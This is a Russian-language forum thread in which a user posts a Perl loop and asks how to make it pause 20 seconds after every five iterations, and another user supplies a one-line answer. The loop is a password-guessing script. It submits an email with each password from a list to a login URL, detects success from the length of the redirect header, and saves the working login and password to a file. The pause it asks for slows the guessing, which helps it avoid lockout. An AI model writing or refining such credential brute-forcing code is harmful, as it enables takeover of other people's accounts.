Perl работа с циклом

Discussion in 'PHP' started by zeroDay27, 22 Apr 2014.

Thread Status:
Not open for further replies.
  1. zeroDay27

    zeroDay27 New Member

    Joined:
    13 Jan 2014
    Messages:
    11
    Likes Received:
    0
    Reputations:
    0
    Здравствуйте , подскажите следующее:
    Например есть цикл такого вида:
    Code:
    .......
    while(@p)
    { 
    	my $pass = '';
    	$pass = shift @p;
    	
    	my $response = $ua->post($url,['email' => $login,'pass' => $pass]);
    	
    	my $location = $response->header('Location');
    	my $length = length($location);
    	if($length > 90)
    	{
    		print "[+] $pass : $location : $length\n";
    		
    		open(my $save, '>', 'true.txt');
    		print $save "$login:$pass";
    		close $save;
    
    		last;
    
    	}	
    	else{
    		print "[-] $pass : $location : $length\n";
    	}
    	sleep 4;
    }
    Как например после 5-того прохода цыкла , он должен остановиться на 20сек , а затем продолжить свою работу , и так каждые 5 проходов цикла .
    ?!
     
  2. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    809
    Reputations:
    231
    $i = 1;
    ...
    sleep 20 unless $i++ % 5;
     
    _________________________
  3. zeroDay27

    zeroDay27 New Member

    Joined:
    13 Jan 2014
    Messages:
    11
    Likes Received:
    0
    Reputations:
    0
    Благодарю.
     
Thread Status:
Not open for further replies.